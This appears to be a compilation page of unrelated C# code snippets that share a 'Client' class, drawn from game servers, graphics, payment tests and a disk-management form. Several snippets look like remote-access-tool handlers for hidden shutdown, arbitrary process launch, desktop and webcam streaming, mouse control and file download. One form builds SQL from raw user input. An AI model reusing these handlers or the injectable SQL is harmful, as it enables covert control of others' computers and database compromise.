protected override void Write(Client psr, NWriter wtr)
 {
     wtr.Write(Time);
     wtr.Write(BulletId);
     wtr.Write(TargetId);
     wtr.Write(Killed);
 }
Beispiel #2
0
 public static void HandleDoShutdownAction(Packets.ServerPackets.DoShutdownAction command, Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch (command.Action)
         {
             case ShutdownAction.Shutdown:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Restart:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Standby:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch (Exception ex)
     {
         new Packets.ClientPackets.SetStatus(string.Format("Action failed: {0}", ex.Message)).Execute(client);
     }
 }
Beispiel #3
0
        /// <summary>
        /// Constructor to use when a mesh that already exists in Cycles needs to be represented.
        /// </summary>
        /// <param name="client"></param>
        /// <param name="id"></param>
        /// <param name="shader"></param>
        internal Mesh(Client client, uint id, Shader shader)
        {
            Client = client;
            Shader = shader;

            Id = id;
        }
 public static async Task<Note[]> GetNotes(Client client, string orderId)
 {
     return
         (await
             client.MakeGetRequest<Notes>(client.ConcatAccountPath(string.Format("{0}/{1}/notes", PortOutPath, orderId))))
             .List;
 }
Beispiel #5
0
        public static void HandleDoProcessStart(Packets.ServerPackets.DoProcessStart command, Client client)
        {
            if (string.IsNullOrEmpty(command.Processname))
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName = command.Processname
                };
                Process.Start(startInfo);
            }
            catch
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
            }
            finally
            {
                HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
            }
        }
        public static void CreateClan(Client.GameState client)
        {
            try
            {
                uint clanid = Program.nextClanid;
                Program.nextClanid++;
                client.Entity.Myclan.ClanId = clanid;
                MySqlCommand cmd = new MySqlCommand(MySqlCommandType.INSERT);
                cmd.Insert("Clans").Insert("Name", client.Entity.Myclan.ClanName).Insert("ClanID", clanid)
                    .Insert("Leader", client.Entity.Name).Insert("Fund", 500000).Execute();

                MySqlCommand cmd3 = new MySqlCommand(MySqlCommandType.UPDATE);
                cmd3.Update("entities").Set("ClanId", clanid).Set("ClanRank", "100")
                    .Set("ClanDonation", "500000").Where("UID", client.Entity.UID).Execute();
                client.Entity.ClanRank = 100;
                client.Entity.ClanName = client.Entity.Myclan.ClanName;
                client.Entity.ClanId = clanid;
                Network.GamePackets.Clan cl = new PhoenixProject.Network.GamePackets.Clan(client, 1);
                client.Send(cl.ToArray());
                PhoenixProject.ServerBase.Kernel.ServerClans.Add(clanid, client.Entity.Myclan);
                Network.GamePackets.Clan cls = new PhoenixProject.Network.GamePackets.Clan(client, 1);
                client.Send(cls.ToArray());
            }
            catch (Exception e)
            {
                Program.SaveException(e);
            }
        }
Beispiel #7
0
        /// <summary>
        /// Create a new mesh for the given client using shader as the default shader
        /// </summary>
        /// <param name="client"></param>
        /// <param name="shader"></param>
        public Mesh(Client client, Shader shader)
        {
            Client = client;
            Shader = shader;

            Id = CSycles.scene_add_mesh(Client.Id, Client.Scene.Id, Client.Scene.GetShaderSceneId(shader));
        }
Beispiel #8
0
        public static void DropItem(Client client, PacketIn packet)
        {
            int IID = (int)packet.ReadUInt32();
            PlayerItem pItem = PlayerItem.GetItem(IID);

            int quantity = (int)packet.ReadUInt32();

            //check if the item exists
            if (pItem == null)
            {
                Hackshield.AddOffense(client, OffenseSeverity.IncorrectPacketDetails);
                return;
            }

            //check if player owns the item
            if (pItem.PID != client.Character.Player.PID)
            {
                Hackshield.AddOffense(client, OffenseSeverity.IncorrectPacketDetails);
                return;
            }

            CodeHandler handler = CodeManager.GetHandler(pItem.Item.Code);

            handler.Drop(pItem, quantity, client.Character, client);
        }
        public FrmRemoteWebcam(Client c)
        {
            _connectClient = c;
            _connectClient.Value.FrmWebcam = this;

            InitializeComponent();
        }
Beispiel #10
0
 internal static void ForceClose(Client client, GameDataAction Error)
 {
     if (client.RawClient.Connected)
     {
         client.Writer.SendAction(Error);
     }
 }
Beispiel #11
0
 public VM()
 {
     //get a handler to the Lync Client, then subscribe to state changes.
     _client = LyncClient.GetClient();
     _client.StateChanged += _client_StateChanged;
     SubscribetoPresenceIfSignedIn(_client.State);
 }
Beispiel #12
0
 public override bool Init(Client client)
 {
     Hashtable data = new Hashtable();
     data.Add("Title", "Comming soon... :)");
     client.HttpSend(TemplateActivator.Activate(this, client, data));
     return true;
 }
Beispiel #13
0
 void Start()
 {
     Application.runInBackground = true;
     client = new Client(PORT, "192.168.1.101");
     client.Work();
     sendMessage = forPrint;
 }
Beispiel #14
0
        public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet)
        {
            if (client.Value == null || client.Value.FrmRdp == null)
                return;

            if (packet.Image == null)
                return;

            if (client.Value.StreamCodec == null)
                client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);

            if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor
                || client.Value.StreamCodec.Resolution != packet.Resolution)
            {
                if (client.Value.StreamCodec != null)
                    client.Value.StreamCodec.Dispose();

                client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
            }

            using (MemoryStream ms = new MemoryStream(packet.Image))
            {
                client.Value.FrmRdp.UpdateImage(client.Value.StreamCodec.DecodeData(ms), true);
            }

            packet.Image = null;

            if (client.Value != null && client.Value.FrmRdp != null && client.Value.FrmRdp.IsStarted)
                new GetDesktop(packet.Quality, packet.Monitor).Execute(client);
        }
Beispiel #15
0
 public static void Main(Client client)
 {
     foreach (var vip in client.Vip.GetCharacters())
     {
         client.Vip.Remove(vip);
     }
 }
 public override void CommandHelp(Client client)
 {
     client.SendChatText("Usage: /command shopspawn hash");
     client.SendChatText("For a list of available templates: /command shopspawn list [filter1,filter2...]");
     client.SendChatText("Filter will be applied to vendor name");
     return;
 }
Beispiel #17
0
        public Form1()
        {
            InitializeComponent();

            // Turn on key preview
            this.KeyPreview = true;

            // Allocate Kinect data structure for speed
            data = new KinectData();

            // Allocate bitmaps for speed
            //!! Should use System.Windows.Media.Imaging.WriteableBitmap
            colorBitmap = new Bitmap(640, 480, PixelFormat.Format24bppRgb);
            depthBitmap = new Bitmap(640, 480, PixelFormat.Format24bppRgb);
            testBitmap = new Bitmap(640, 480, PixelFormat.Format24bppRgb);
            demoBitmap = new Bitmap(640, 480, PixelFormat.Format24bppRgb);

            // Set up session parameters
            SessionParameters sessionParams = new SessionParameters(KinectDataParams.EnableType.All);
            sessionParams.DataParams.validityImageEnable = false;
            sessionParams.DataParams.testImageEnable = false;

            // Connect to a local Kinect and hook up to the data event
            client = KinectTableNet.KinectTable.ConnectLocal(sessionParams);
            client.DataReady += new Client.DataReadyHandler(client_DataReady);

            return;
        }
        /// <summary>
        /// 
        /// </summary>
        /// <param name="client"></param>
        public static void GetDynels(Client client)
        {
            foreach (Client clients in client.Server.Clients)
            {
                PacketWriter packetWriter;
                if ((clients.Character.PlayField == client.Character.PlayField)
                    && (clients.Character.Id != client.Character.Id))
                {
                    SimpleCharFullUpdate.SendToOne(clients.Character, client);

                    // Send CharacterInPlay packet 
                    // TODO: Move this out to own file
                    packetWriter = new PacketWriter();
                    packetWriter.PushByte(0xDF);
                    packetWriter.PushByte(0xDF);
                    packetWriter.PushShort(10);
                    packetWriter.PushShort(1);
                    packetWriter.PushShort(0);
                    packetWriter.PushInt(3086);
                    packetWriter.PushInt(client.Character.Id);
                    packetWriter.PushInt(0x570C2039);
                    packetWriter.PushIdentity(50000, clients.Character.Id);
                    packetWriter.PushByte(0);
                    byte[] reply2 = packetWriter.Finish();
                    client.SendCompressed(reply2);
                }
            }
        }
        public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
        {
            if (context.User == null || context.Character == null)
                return;

            // Looks/Jobs
            if (size > 0)
            {
                var reader = new PacketReader(data);

                reader.BaseStream.Seek(0x38, SeekOrigin.Begin);
                context.Character.Looks = reader.ReadStruct<Character.LooksParam>();
                context.Character.Jobs = reader.ReadStruct<Character.JobParam>();

                using(var db = new PolarisEf())
                    db.ChangeTracker.DetectChanges();
            }

            Map lobbyMap = ZoneManager.Instance.MapFromInstance("lobby", "lobby");
            lobbyMap.SpawnClient(context, lobbyMap.GetDefaultLocation(), "lobby");

            // Unlock Controls
            context.SendPacket(new NoPayloadPacket(0x03, 0x2B));

            //context.SendPacket(File.ReadAllBytes("testbed/237.23-7.210.189.208.30.bin"));

            // Give a blank palette
            context.SendPacket(new PalettePacket());

            // memset packet - Enables menus
            // Also holds event items and likely other stuff too
            var memSetPacket = File.ReadAllBytes("Resources/setMemoryPacket.bin");
            context.SendPacket(memSetPacket);
        }
Beispiel #20
0
        public void PayWithError(PaymentModel payment, string responseData, JudoApiError errorType)
        {
            var httpClient = Substitute.For<IHttpClient>();
            var response = new HttpResponseMessage(HttpStatusCode.BadRequest) { Content = new StringContent(responseData) };
            response.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");
            var responseTask = new TaskCompletionSource<HttpResponseMessage>();
            responseTask.SetResult(response);

            httpClient.SendAsync(Arg.Any<HttpRequestMessage>()).Returns(responseTask.Task);

            var client = new Client(new Connection(httpClient, DotNetLoggerFactory.Create, "http://something.com"));

            var judo = new JudoPayApi(DotNetLoggerFactory.Create, client);

            IResult<ITransactionResult> paymentReceiptResult = null;

            // ReSharper disable CanBeReplacedWithTryCastAndCheckForNull
            if (payment is CardPaymentModel)
            {
                paymentReceiptResult = judo.Payments.Create((CardPaymentModel)payment).Result;
            }
            else if (payment is TokenPaymentModel)
            {
                paymentReceiptResult = judo.Payments.Create((TokenPaymentModel)payment).Result;
            }
            // ReSharper restore CanBeReplacedWithTryCastAndCheckForNull

            Assert.NotNull(paymentReceiptResult);
            Assert.IsTrue(paymentReceiptResult.HasError);
            Assert.IsNull(paymentReceiptResult.Response);
            Assert.IsNotNull(paymentReceiptResult.Error);
            Assert.AreEqual((int)errorType, paymentReceiptResult.Error.Code);
        }
Beispiel #21
0
        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            switch (command.Action)
            {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;
                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;
                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;
                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
            }
        }
Beispiel #22
0
 protected override void Write(Client client, NWriter wtr)
 {
     wtr.Write(Time);
     wtr.Write(BulletId);
     wtr.Write(ObjectId);
     wtr.Write(TargetId);
 }
 public static void SaveSpells(Client.GameState client)
 {
     if (client.Entity == null)
         return;
     if (client.Spells == null)
         return;
     if (client.Spells.Count == 0)
         return;
     foreach (Interfaces.ISkill spell in client.Spells.Values)
     {
         if(spell.Available)
         {
             MySqlCommand cmd = new MySqlCommand(MySqlCommandType.UPDATE);
             cmd.Update("skills").Set("Level", spell.Level).Set("PreviousLevel", spell.PreviousLevel)
                 .Set("Experience", spell.Experience).Where("EntityID", client.Entity.UID).And("ID", spell.ID).Execute();
         }
         else
         {
             spell.Available = true;
             MySqlCommand cmd = new MySqlCommand(MySqlCommandType.INSERT);
             cmd.Insert("skills").Insert("Level", spell.Level).Insert("Experience", spell.Experience).Insert("EntityID", client.Entity.UID)
                 .Insert("Type", "Spell").Insert("ID", spell.ID).Execute();
         }
     }
 }
Beispiel #24
0
        public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client)
        {
            new Thread(() =>
            {
                try
                {
                    FileSplit srcFile = new FileSplit(command.RemotePath);
                    if (srcFile.MaxBlocks < 0)
                        new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                            srcFile.LastError).Execute(client);

                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                    {
                        if (!client.Connected) return;
                        if (_canceledDownloads.ContainsKey(command.ID)) return;

                        byte[] block;
                        if (srcFile.ReadBlock(currentBlock, out block))
                        {
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
                                Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
                                srcFile.LastError).Execute(client);
                        }
                        else
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                                srcFile.LastError).Execute(client);
                    }
                }
                catch (Exception ex)
                {
                    new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message)
                        .Execute(client);
                }
            }).Start();
        }
Beispiel #25
0
 public StreamFetcher(DataServiceContextWrapper context, EntityBase entity, string propertyName, Client.DataServiceStreamLink link)
 {
     _context = context;
     _entity = entity;
     _link = link;
     _propertyName = propertyName;
 }
 public UserInfo(string user, string pass, Client conn)
 {
     this.UserName = user;
     this.Password = pass;
     this.LoggedIn = true;
     this.Connection = conn;
 }
        public static void ChangeDungeonCoords(Client client, Enums.Direction dir)
        {
            int dist = 1;
            int rand = Server.Math.Rand(1, 10000);
            if (rand <= 66) { //.66% chance warp
                exPlayer.Get(client).DungeonX = Server.Math.Rand(0, exPlayer.Get(client).DungeonMaxX-1);
                exPlayer.Get(client).DungeonY = Server.Math.Rand(0, exPlayer.Get(client).DungeonMaxY-1);
                return;
            } else if (rand <= 666) { //6% chance skip
                dist = 2;
            }

            if (dir == Enums.Direction.Up) {
                exPlayer.Get(client).DungeonY = exPlayer.Get(client).DungeonY - dist;
                if (exPlayer.Get(client).DungeonY < 0) {
                    exPlayer.Get(client).DungeonY += exPlayer.Get(client).DungeonMaxY;
                }
            } else if (dir == Enums.Direction.Down) {
                exPlayer.Get(client).DungeonY = (exPlayer.Get(client).DungeonY + dist) % exPlayer.Get(client).DungeonMaxY;
            } else if (dir == Enums.Direction.Left) {
                exPlayer.Get(client).DungeonX = exPlayer.Get(client).DungeonX - dist;
                if (exPlayer.Get(client).DungeonX < 0) {
                    exPlayer.Get(client).DungeonX += exPlayer.Get(client).DungeonMaxX;
                }
            } else if (dir == Enums.Direction.Right) {
                exPlayer.Get(client).DungeonX = (exPlayer.Get(client).DungeonX + dist) % exPlayer.Get(client).DungeonMaxX;
            }
        }
Beispiel #28
0
 protected override void Read(Client client, NReader rdr)
 {
     Time = rdr.ReadInt32();
     BulletId = rdr.ReadByte();
     ObjectId = rdr.ReadInt32();
     TargetId = rdr.ReadInt32();
 }
Beispiel #29
0
        public void CanCalculate()
        {
            var client = new Client(new Uri(AmeeUrl), AmeeUserName, AmeePassword);
            var value = client.Calculate("transport/defra/fuel", "9DE1D9435784", new ValueItem("volume", "10"));

            Assert.AreEqual(value.Amounts.Amount[0].Value, "4.7385");
        }
Beispiel #30
0
        public void CreateNewParty(Client c)
        {
            if (GetCurrentPartyForClient(c) != null)
                return; // For now

            parties.Add(new Party(c.User.Username, c), c.User.Username);
        }
Beispiel #31
0
 public void Add(Client client)
 {
     client.ValidateInstance();
     ClientRep.Add(client);
 }
Beispiel #32
0
 private static void ClientRead(Client client, IPacket packet)
 {
     PacketHandler.HandlePacket(client, packet);
 }
Beispiel #33
0
 public ClanKick(Client User) : base(User, null)
 {
 }
 public APIService(string httpEndPoint)
 {
     this.httpEndPoint = httpEndPoint;
     this.proxyClient  = new Client(this.httpEndPoint, new System.Net.Http.HttpClient());
 }
Beispiel #35
0
 private void UpdateGrid(Client client)
 {
     updateGrid(client);
 }
Beispiel #36
0
        private void 应用button_Click(object sender, EventArgs e)
        {
            if ((称textBox.Text.Trim() == "") || (MACtextBox.Text.Trim() == "") || (工作目录textBox.Text.Trim() == ""))
            {
                MessageBox.Show("请填写完整的信息!");
                return;
            }

            string client_name        = 称textBox.Text.Trim();
            string client_mac         = MACtextBox.Text.Trim();
            string client_work_path   = 工作目录textBox.Text.Trim();
            string client_description = 备注textBox.Text.Trim();
            string client_group_id    = "";
            string client_group_tag   = "";

            if (client_disk_list_id == "")
            {
                client_disk_list_id = System.Guid.NewGuid().ToString("N");
            }


            if (启用工作站checkBox.Checked == true)
            {
                client_enable = 1;
            }
            else
            {
                client_enable = 0;
            }

            using (SQLiteConnection conn = new SQLiteConnection("data source=nodisk.db"))
            {
                using (SQLiteCommand cmd = new SQLiteCommand())
                {
                    cmd.Connection = conn;
                    conn.Open();

                    SQLiteHelper sh = new SQLiteHelper(cmd);

                    string tempSelectedText = 分组comboBox.Text;

                    DataTable dt = sh.Select("select * from CLIENT_GROUP where client_group_name = '" + tempSelectedText + "';");

                    if (dt.Rows.Count == 0)
                    {
                        client_group_id  = "未分组";
                        client_group_tag = "未分组";
                    }
                    else
                    {
                        foreach (DataRow row in dt.Rows)
                        {
                            client_group_id  = row["client_group_id"].ToString();
                            client_group_tag = row["client_group_name"].ToString();
                        }
                    }
                    conn.Close();
                }
            }


            //判断是否有重复的MAC地址,如果有则不允许添加
            bool tempMacOnly = false;

            using (SQLiteConnection conn = new SQLiteConnection("data source=nodisk.db"))
            {
                using (SQLiteCommand cmd = new SQLiteCommand())
                {
                    cmd.Connection = conn;
                    conn.Open();

                    SQLiteHelper sh = new SQLiteHelper(cmd);

                    string tempMacString = "select count(*) from CLIENT where client_mac = '" + client_mac + "' and client_id != '" + client_id + "';";
                    int    count         = int.Parse(sh.ExecuteScalar(tempMacString).ToString());

                    if (count == 0)
                    {
                        tempMacOnly = true;
                    }
                    else
                    {
                        tempMacOnly = false;
                    }
                    conn.Close();
                }
            }


            if (tempMacOnly == true)
            {
                using (SQLiteConnection conn = new SQLiteConnection("data source=nodisk.db"))
                {
                    using (SQLiteCommand cmd = new SQLiteCommand())
                    {
                        cmd.Connection = conn;
                        conn.Open();

                        SQLiteHelper sh = new SQLiteHelper(cmd);

                        //更新主页datagrid的source
                        Client client = new Client();
                        client.ClientId          = client_id;
                        client.ClientName        = client_name;
                        client.ClientMac         = client_mac;
                        client.clientWorkPath    = client_work_path;
                        client.clientDescription = client_description;



                        //string addClientSql = "udpate CLIENT (client_id,client_name,client_mac,client_work_path,client_description,client_group_id,client_disk_list_id,client_enable) values ('" + client_id + "','" + client_name + "','" + client_mac + "','" + client_work_path + "','" + client_description + "','" + client_group_id + "','" + client_disk_list_id + "','"  + client_enable + "');";
                        string updateClientSql = "update CLIENT set client_name='" + client_name + "',client_mac='" + client_mac + "',client_work_path='" + client_work_path + "',client_description='" + client_description + "',client_group_id='" + client_group_id + "',client_disk_list_id='" + client_disk_list_id + "',client_enable='" + client_enable + "' where client_id='" + client_id + "';";

                        sh.ExecuteScalar(updateClientSql);
                        //删除原先已经创建的磁盘以及数据库中的内容
                        string deleteClientDiskList = "delete from CLIENT_DISK_LIST where client_disk_list_id='" + client_disk_list_id + "';";

                        DataTable dtClintDiskList = sh.Select("select * from CLIENT_DISK_LIST where client_disk_list_id = '" + client_disk_list_id + "';");
                        foreach (DataRow row in dtClintDiskList.Rows)
                        {
                            string    sqlClientDiskName = "select * from VDISK_TEMPLET where disk_id='" + row["disk_id"] + "';";
                            DataTable dtClientDisk      = sh.Select(sqlClientDiskName);
                            foreach (DataRow rows in dtClientDisk.Rows)
                            {
                                DiskManagementData ParamObj = new DiskManagementData(); // TODO: 初始化为适当的值
                                ParamObj.DevicePath = client_work_path + "\\" + rows["disk_name"].ToString() + "-" + client_mac + ".vhdx";;
                                ParamObj.TargetName = rows["disk_name"].ToString() + "-" + client_mac;
                                ParamObj.serverURL  = iscsiURL;
                                ParamObj.Username   = username;
                                ParamObj.Password   = password;

                                bool actual;
                                actual = DiskManager.RemoveDisk(ParamObj);

                                if (actual == true)
                                {
                                    //MessageBox.Show("磁盘删除成功!");
                                }
                            }
                        }

                        sh.ExecuteScalar(deleteClientDiskList);



                        int    diskSort          = 0;
                        string addClientDiskList = "";
                        foreach (VdiskTemplate v in tovdiskTempletList)
                        {
                            addClientDiskList = "insert into CLIENT_DISK_LIST (client_disk_list_id,disk_id,disk_sort) values ('" + client_disk_list_id + "','" + v.DiskId + "','" + diskSort++ + "');";

                            sh.ExecuteScalar(addClientDiskList);
                        }


                        conn.Close();
                        this.Close();


                        //创建客户端启动脚本


                        //创建客户端启动盘
                        foreach (VdiskTemplate v in tovdiskTempletList)
                        {
                            //获取最新的还原点的磁盘路径

                            string    parentPointPath = "";
                            string    sort            = "0";
                            DataTable rs    = sh.Select("select * from VDISK_RESTORE_POINT where disk_id = '" + v.DiskId + "';");
                            int       count = rs.Rows.Count;
                            if (count != 0)
                            {
                                foreach (DataRow rows in rs.Rows)
                                {
                                    if (float.Parse(sort) < float.Parse(rows["vdisk_restore_point_sort"].ToString()))
                                    {
                                        sort            = rows["vdisk_restore_point_sort"].ToString();
                                        parentPointPath = rows["vdisk_restore_point_path"].ToString();
                                    }
                                }
                            }
                            else
                            {
                                parentPointPath = v.DiskPath + v.DiskName + ".vhdx";
                            }



                            //创建磁盘文件
                            DiskManagementData ParamObj = new DiskManagementData(); // TODO: 初始化为适当的值


                            ParamObj.VhdxType   = 4; //动态盘
                            ParamObj.DevicePath = client_work_path + "\\" + v.DiskName + "-" + client_mac + ".vhdx";
                            ParamObj.TargetName = v.DiskName + "-" + client_mac;
                            ParamObj.DiskSize   = ushort.Parse("10");
                            ParamObj.TargetIQN  = "HstecsClient." + v.DiskName + "-" + client_mac;
                            ParamObj.ParentPath = parentPointPath;
                            ParamObj.serverURL  = iscsiURL;
                            ParamObj.Username   = username;
                            ParamObj.Password   = password;

                            DiskManager.CreateVhdxDisk(ParamObj);
                        }

                        //更新tree及主页datagrid
                        TreeNode node = new TreeNode(client_name, IconIndexes.computer, IconIndexes.computer);
                        node.Tag  = client_name;
                        node.Text = client_name;



                        UpdateGrid(client);

                        MessageBox.Show("工作站编辑成功!");
                    }
                }
            }
            else
            {
                MessageBox.Show("已存在指定MAC地址的客户端!");
            }
        }
Beispiel #37
0
 public void Update(Client client)
 {
     client.ValidateInstance();
     ClientRep.Update(client);
 }
        private XmlResource CreateUpdatedResource(Enums.ResourceType resourceType, string id,
                                                  string fieldAlias, string fieldValue)
        {
            XmlResource result = null;

            switch (resourceType)
            {
            case Enums.ResourceType.Client:
                result = new Client()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Activity:
                result = new Activity()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Sales:
                result = new Sales()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Contract:
                result = new Contract()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Process:
                result = new Process()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Job:
                result = new Job()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Recruiter:
                result = new Recruiter()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Resume:
                result = new Resume()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;

            case Enums.ResourceType.Candidate:
                result = new Candidate()
                {
                    Id = id
                };
                result.DictionaryValues[fieldAlias] = fieldValue;
                break;
            }
            return(result);
        }
Beispiel #39
0
 /// <summary>
 /// Deletes the role
 /// </summary>
 public void Delete()
 {
     Client.DeleteGuildRole(GuildId, Id);
 }
 public override void ExecuteCmdlet()
 {
     // Get a notificationHub ConnectionString for the specified AuthorizationRule
     ListKeysAttributes keys = Client.GetTopicKey(ResourceGroup, Namespace, Topic, Name);
     WriteObject(keys);
 }
Beispiel #41
0
        private void GameLobby_OnMessageReceived(object sender, object message)
        {
            if (message.GetType() == typeof(GameDTO))
            {
                GameDTO dto = message as GameDTO;
                Dispatcher.BeginInvoke(DispatcherPriority.Input, new ThreadStart(async() =>
                {
                    if (!HasConnectedToChat)
                    {
                        //Run once
                        BaseMap map                  = BaseMap.GetMap(dto.MapId);
                        MapLabel.Content             = map.DisplayName;
                        ModeLabel.Content            = Client.TitleCaseString(dto.GameMode);
                        GameTypeConfigDTO configType = Client.LoginPacket.GameTypeConfigs.Find(x => x.Id == dto.GameTypeConfigId);
                        TypeLabel.Content            = GetGameMode(configType.Id);
                        SizeLabel.Content            = dto.MaxNumPlayers / 2 + "v" + dto.MaxNumPlayers / 2;

                        HasConnectedToChat = true;
                        try
                        {
                            string ObfuscatedName = Client.GetObfuscatedChatroomName(dto.Name.ToLower() + Convert.ToInt32(dto.Id), ChatPrefixes.Arranging_Practice);
                            string JID            = Client.GetChatroomJID(ObfuscatedName, dto.RoomPassword, false);
                            newRoom                    = Client.ConfManager.GetRoom(new jabber.JID(JID));
                            newRoom.Nickname           = Client.LoginPacket.AllSummonerData.Summoner.Name;
                            newRoom.OnRoomMessage     += newRoom_OnRoomMessage;
                            newRoom.OnParticipantJoin += newRoom_OnParticipantJoin;
                            newRoom.Join(dto.RoomPassword);
                        }
                        catch { }
                    }
                    if (dto.GameState == "TEAM_SELECT")
                    {
                        OptomisticLock     = dto.OptimisticLock;
                        LaunchedTeamSelect = false;
                        BlueTeamListView.Items.Clear();
                        PurpleTeamListView.Items.Clear();

                        List <Participant> AllParticipants = new List <Participant>(dto.TeamOne.ToArray());
                        AllParticipants.AddRange(dto.TeamTwo);

                        int i           = 0;
                        bool PurpleSide = false;

                        foreach (Participant playerTeam in AllParticipants)
                        {
                            i++;
                            CustomLobbyPlayer lobbyPlayer = new CustomLobbyPlayer();
                            BotControl botPlayer          = new BotControl();
                            if (playerTeam is PlayerParticipant)
                            {
                                PlayerParticipant player = playerTeam as PlayerParticipant;
                                lobbyPlayer = RenderPlayer(player, dto.OwnerSummary.SummonerId == player.SummonerId);
                                ///BotParticipant botParticipant = playerTeam as BotParticipant;
                                //botPlayer = RenderBot(botParticipant);
                                IsOwner = dto.OwnerSummary.SummonerId == Client.LoginPacket.AllSummonerData.Summoner.SumId;
                                StartGameButton.IsEnabled  = IsOwner;
                                AddBotBlueTeam.IsEnabled   = IsOwner;
                                AddBotPurpleTeam.IsEnabled = IsOwner;

                                if (Client.Whitelist.Count > 0)
                                {
                                    if (!Client.Whitelist.Contains(player.SummonerName.ToLower()))
                                    {
                                        await Client.PVPNet.BanUserFromGame(Client.GameID, player.AccountId);
                                    }
                                }
                            }

                            if (i > dto.TeamOne.Count)
                            {
                                i          = 0;
                                PurpleSide = true;
                            }

                            if (!PurpleSide)
                            {
                                BlueTeamListView.Items.Add(lobbyPlayer);
                            }
                            else
                            {
                                PurpleTeamListView.Items.Add(lobbyPlayer);
                            }
                        }
                    }
                    else if (dto.GameState == "CHAMP_SELECT" || dto.GameState == "PRE_CHAMP_SELECT")
                    {
                        if (!LaunchedTeamSelect)
                        {
                            Client.ChampSelectDTO  = dto;
                            Client.LastPageContent = Client.Container.Content;
                            Client.SwitchPage(new ChampSelectPage(this));
                            LaunchedTeamSelect = true;
                        }
                    }
                }));
            }
        }
        /// <summary>
        /// Gets a list of Notification messages for a job seeker.
        /// </summary>
        /// <param name="jobseekerID">Requested Jobseeker ID.</param>
        /// <returns>A collection of <see cref="NotificationModel" /> for the jobseeker.</returns>
        public IEnumerable <NotificationModel> GetList(long jobseekerID)
        {
            var cacheKey = new KeyModel(CacheType.Global, "NotificationList").Add(jobseekerID.ToString());

            IEnumerable <NotificationModel> cacheValue = null;

            if (CacheService.TryGet(cacheKey, out cacheValue))
            {
                return(cacheValue);
            }

            var request = new AllMessageRequest {
                JobseekerId = jobseekerID
            };

            ValidateRequest(request);

            try
            {
                var service = Client.Create <IDiaryNotification>("DiaryNotification.svc");

                var response = service.JobseekerGetAllMessages(request);

                ValidateResponse(response);

                var model = new List <NotificationModel>();

                if (response.SqlLists != null && response.SqlLists.Length > 0)
                {
                    var sqlModel = response.SqlLists.ToNotificationModelList();//   MappingEngine.Map<IEnumerable<NotificationModel>>(response.SqlLists);
                    model.AddRange(sqlModel);
                }
                if (response.MFLists != null && response.MFLists.Length > 0)
                {
                    var mfModel = response.MFLists.ToNotificationModelList();//MappingEngine.Map<IEnumerable<NotificationModel>>(response.MFLists);
                    model.AddRange(mfModel);
                }

                // TODO sort ?

                var i = 0;
                foreach (var item in model)
                {
                    item.ListItemID = i;
                    i++;
                    item.JobseekerID = jobseekerID;
                }

                CacheService.Set(cacheKey, model);

                return(model);
            }
            catch (FaultException <ValidationFault> vf)
            {
                throw vf.ToServiceValidationException();
            }
            catch (FaultException fe)
            {
                throw fe.ToServiceValidationException();
            }
        }
Beispiel #43
0
